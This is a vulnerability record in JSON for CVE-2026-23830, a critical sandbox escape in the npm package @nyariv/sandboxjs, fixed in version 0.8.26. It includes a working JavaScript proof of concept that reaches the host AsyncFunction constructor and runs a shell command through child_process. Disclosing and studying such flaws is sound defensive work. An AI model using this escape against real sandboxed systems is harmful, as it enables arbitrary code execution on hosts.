{"id":"CVE-2026-23830","aliases":["GHSA-wxhw-j4hc-fmq6"],"url":"https://o3.security/vulnerability/CVE-2026-23830","summary":"SandboxJS has Sandbox Escape via Unprotected AsyncFunction Constructor","details":"### Summary\nA sandbox escape vulnerability due to `AsyncFunction` not being isolated in `SandboxFunction`\n\n### Details\n\nThe library attempts to sandbox code execution by replacing the global `Function` constructor with a safe, sandboxed version (`SandboxFunction`). This is handled in `utils.ts` by mapping `Function` to `sandboxFunction` within a map used for lookups.\n\nHowever, the library did not include mappings for `AsyncFunction`, `GeneratorFunction`, and `AsyncGeneratorFunction`. These constructors are not global properties but can be accessed via the `.constructor` property of an instance (e.g., `(async () => {}).constructor`).\n\nIn `executor.ts`, property access is handled. When code running inside the sandbox accesses `.constructor` on an async function (which the sandbox allows creating), the `executor` retrieves the property value. Since `AsyncFunction` was not in the safe-replacement map, the `executor` returns the actual native host `AsyncFunction` constructor.\n\nConstructors for functions in JavaScript (like `Function`, `AsyncFunction`) create functions that execute in the global scope. By obtaining the host `AsyncFunction` constructor, an attacker can create a new async function that executes entirely outside the sandbox context, bypassing all restrictions and gaining full access to the host environment (Remote Code Execution).\n\n### PoC\n\n```js\nconst sandbox = require('@nyariv/sandboxjs');\nconst s = new sandbox.default();\n\nconst payload = `\n    const af = async () => {};\n    // .constructor returns the host AsyncFunction constructor because it's not intercepted\n    const AsyncConstructor = af.constructor;\n    console.log(\"AsyncConstructor name:\", AsyncConstructor.name);\n    \n    // Create a function that executes outside the sandbox\n    const func = AsyncConstructor(\"return process.mainModule.require('child_process').execSync('id').toString()\");\n    \n    // Execute RCE\n    const p = func();\n    p.then(proc => {\n        console.log(proc);\n    });\n`;\n\ntry {\n    s.compile(payload)().run();\n} catch (e) {\n    console.error(\"Bypass failed:\", e.message);\n}\n```\n\nRun above script in nodejs. If you run it in browser, change the `AsyncConstructor` argument by returning `window` object. \n\n### Impact\n\nA Remote Code Execution, attacker may be able to run an arbitrary code.","published":"2026-01-27T23:32:16.104Z","modified":"2026-10-28T02:30:39.696476788Z","cvss":{"score":10,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"@nyariv/sandboxjs","fixedVersion":"0.8.26"}],"fix":{"url":"https://github.com/nyariv/SandboxJS/commit/345aee6566e47979dee5c337b925b141e7f78ccd","label":"nyariv/SandboxJS@345aee6"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/23xxx/CVE-2026-23830.json"},{"type":"ADVISORY","url":"https://github.com/nyariv/SandboxJS/security/advisories/GHSA-wxhw-j4hc-fmq6"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23830"},{"type":"FIX","url":"https://github.com/nyariv/SandboxJS/commit/345aee6566e47979dee5c337b925b141e7f78ccd"},{"type":"PACKAGE","url":"https://github.com/nyariv/SandboxJS"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:30:39.696476788Z"}}